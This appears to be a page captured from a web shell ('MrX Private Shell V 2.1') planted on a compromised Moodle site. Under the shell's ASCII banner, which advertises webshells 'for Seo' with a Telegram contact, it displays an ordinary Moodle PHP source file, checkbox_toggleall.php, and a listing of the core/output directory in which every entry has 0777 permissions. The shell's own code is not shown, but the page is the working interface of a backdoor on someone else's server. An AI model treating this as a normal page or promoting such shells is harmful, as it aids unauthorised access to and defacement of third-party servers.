__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* The renderable for core/checkbox-toggleall.
*
* @package core
* @copyright 2019 Jun Pataleta
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
namespace core\output;
use stdClass;
/**
* The checkbox-toggleall renderable class.
*
* @package core
* @copyright 2019 Jun Pataleta
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class checkbox_toggleall implements renderable, templatable {
/** @var string The name of the group of checkboxes to be toggled. */
protected $togglegroup;
/** @var bool $ismaster Whether we're rendering for a master checkbox or a slave checkbox. */
protected $ismaster;
/** @var array $options The options for the checkbox. */
protected $options;
/** @var bool $isbutton Whether to render this as a button. Applies to master checkboxes only. */
protected $isbutton;
/**
* Constructor.
*
* @param string $togglegroup The name of the group of checkboxes to be toggled.
* @param bool $ismaster Whether we're rendering for a master checkbox or a slave checkbox.
* @param array $options The options for the checkbox. Valid options are:
* <ul>
* <li><b>id </b> string - The element ID.</li>
* <li><b>name </b> string - The element name.</li>
* <li><b>classes </b> string - CSS classes that you want to add for your checkbox or toggle controls.
* For button type master toggle controls, this could be any Bootstrap 4 btn classes
* that you might want to add. Defaults to "btn-secondary".</li>
* <li><b>value </b> string|int - The element's value.</li>
* <li><b>checked </b> boolean - Whether to render this initially as checked.</li>
* <li><b>label </b> string - The label for the checkbox element.</li>
* <li><b>labelclasses</b> string - CSS classes that you want to add for your label.</li>
* <li><b>selectall </b> string - Master only. The language string that will be used to indicate that clicking on
* the master will select all of the slave checkboxes. Defaults to "Select all".</li>
* <li><b>deselectall </b> string - Master only. The language string that will be used to indicate that clicking on
* the master will select all of the slave checkboxes. Defaults to "Deselect all".</li>
* </ul>
* @param bool $isbutton Whether to render this as a button. Applies to master only.
*/
public function __construct(string $togglegroup, bool $ismaster, $options = [], $isbutton = false) {
$this->togglegroup = $togglegroup;
$this->ismaster = $ismaster;
$this->options = $options;
$this->isbutton = $ismaster && $isbutton;
}
/**
* Export for template.
*
* @param renderer_base $output The renderer.
* @return stdClass
*/
public function export_for_template(renderer_base $output) {
$data = (object)[
'togglegroup' => $this->togglegroup,
'id' => $this->options['id'] ?? null,
'name' => $this->options['name'] ?? null,
'value' => $this->options['value'] ?? null,
'classes' => $this->options['classes'] ?? null,
'label' => $this->options['label'] ?? null,
'labelclasses' => $this->options['labelclasses'] ?? null,
'checked' => $this->options['checked'] ?? false,
];
if ($this->ismaster) {
$data->selectall = $this->options['selectall'] ?? get_string('selectall');
$data->deselectall = $this->options['deselectall'] ?? get_string('deselectall');
}
return $data;
}
/**
* Fetches the appropriate template for the checkbox toggle all element.
*
* @return string
*/
public function get_template() {
if ($this->ismaster) {
if ($this->isbutton) {
return 'core/checkbox-toggleall-master-button';
} else {
return 'core/checkbox-toggleall-master';
}
}
return 'core/checkbox-toggleall-slave';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| action_menu | Folder | 0777 |
|
|
| actions | Folder | 0777 |
|
|
| dynamic_tabs | Folder | 0777 |
|
|
| local | Folder | 0777 |
|
|
| progress_trace | Folder | 0777 |
|
|
| renderer_factory | Folder | 0777 |
|
|
| requirements | Folder | 0777 |
|
|
| action_link.php | File | 4.86 KB | 0777 |
|
| action_menu.php | File | 23.57 KB | 0777 |
|
| activity_header.php | File | 8.63 KB | 0777 |
|
| bootstrap_renderer.php | File | 12.05 KB | 0777 |
|
| checkbox_toggleall.php | File | 4.93 KB | 0777 |
|
| choicelist.php | File | 9.42 KB | 0777 |
|
| chooser.php | File | 3.78 KB | 0777 |
|
| chooser_item.php | File | 3.12 KB | 0777 |
|
| chooser_section.php | File | 2.25 KB | 0777 |
|
| comboboxsearch.php | File | 6.74 KB | 0777 |
|
| context_header.php | File | 6.01 KB | 0777 |
|
| core_renderer.php | File | 194.2 KB | 0777 |
|
| core_renderer_ajax.php | File | 5.7 KB | 0777 |
|
| core_renderer_cli.php | File | 9.34 KB | 0777 |
|
| core_renderer_maintenance.php | File | 7.86 KB | 0777 |
|
| custom_menu.php | File | 7.03 KB | 0777 |
|
| custom_menu_item.php | File | 7.88 KB | 0777 |
|
| datafilter.php | File | 3.45 KB | 0777 |
|
| dynamic_tabs.php | File | 2.26 KB | 0777 |
|
| external.php | File | 8.11 KB | 0777 |
|
| file_picker.php | File | 3.65 KB | 0777 |
|
| help_icon.php | File | 4.37 KB | 0777 |
|
| html_writer.php | File | 34.28 KB | 0777 |
|
| icon_system.php | File | 5.25 KB | 0777 |
|
| icon_system_font.php | File | 1.53 KB | 0777 |
|
| icon_system_fontawesome.php | File | 26.92 KB | 0777 |
|
| icon_system_standard.php | File | 1.28 KB | 0777 |
|
| image_icon.php | File | 1.27 KB | 0777 |
|
| initials_bar.php | File | 4.94 KB | 0777 |
|
| inplace_editable.php | File | 9.84 KB | 0777 |
|
| js_writer.php | File | 5.42 KB | 0777 |
|
| language_menu.php | File | 5.67 KB | 0777 |
|
| mustache_clean_string_helper.php | File | 2.17 KB | 0777 |
|
| mustache_engine.php | File | 2.62 KB | 0777 |
|
| mustache_filesystem_loader.php | File | 2.35 KB | 0777 |
|
| mustache_helper_collection.php | File | 6.96 KB | 0777 |
|
| mustache_javascript_helper.php | File | 1.9 KB | 0777 |
|
| mustache_pix_helper.php | File | 2.45 KB | 0777 |
|
| mustache_quote_helper.php | File | 1.87 KB | 0777 |
|
| mustache_shorten_text_helper.php | File | 1.76 KB | 0777 |
|
| mustache_string_helper.php | File | 2.31 KB | 0777 |
|
| mustache_template_finder.php | File | 4.12 KB | 0777 |
|
| mustache_template_source_loader.php | File | 14.9 KB | 0777 |
|
| mustache_uniqid_helper.php | File | 1.56 KB | 0777 |
|
| mustache_user_date_helper.php | File | 1.83 KB | 0777 |
|
| named_templatable.php | File | 1.23 KB | 0777 |
|
| notification.php | File | 6.41 KB | 0777 |
|
| paging_bar.php | File | 8.97 KB | 0777 |
|
| participants_action_bar.php | File | 8.83 KB | 0777 |
|
| pix_emoticon.php | File | 1.71 KB | 0777 |
|
| pix_icon.php | File | 4.89 KB | 0777 |
|
| pix_icon_font.php | File | 2.9 KB | 0777 |
|
| pix_icon_fontawesome.php | File | 1.21 KB | 0777 |
|
| plugin_renderer_base.php | File | 5.86 KB | 0777 |
|
| preferences_group.php | File | 1.62 KB | 0777 |
|
| preferences_groups.php | File | 1.47 KB | 0777 |
|
| progress_bar.php | File | 8.54 KB | 0777 |
|
| progress_trace.php | File | 1.68 KB | 0777 |
|
| renderable.php | File | 1.24 KB | 0777 |
|
| renderer_base.php | File | 16.75 KB | 0777 |
|
| routed_error_handler.php | File | 1.69 KB | 0777 |
|
| select_menu.php | File | 6.68 KB | 0777 |
|
| single_button.php | File | 7.88 KB | 0777 |
|
| single_select.php | File | 9.43 KB | 0777 |
|
| sticky_footer.php | File | 4.5 KB | 0777 |
|
| stored_progress_bar.php | File | 10.39 KB | 0777 |
|
| tabobject.php | File | 5.11 KB | 0777 |
|
| tabtree.php | File | 3.37 KB | 0777 |
|
| templatable.php | File | 1.75 KB | 0777 |
|
| theme_config.php | File | 84.2 KB | 0777 |
|
| theme_usage.php | File | 4.32 KB | 0777 |
|
| url_rewriter.php | File | 1.6 KB | 0777 |
|
| url_select.php | File | 9.63 KB | 0777 |
|
| user_picture.php | File | 13.98 KB | 0777 |
|
| xhtml_container_stack.php | File | 5.79 KB | 0777 |
|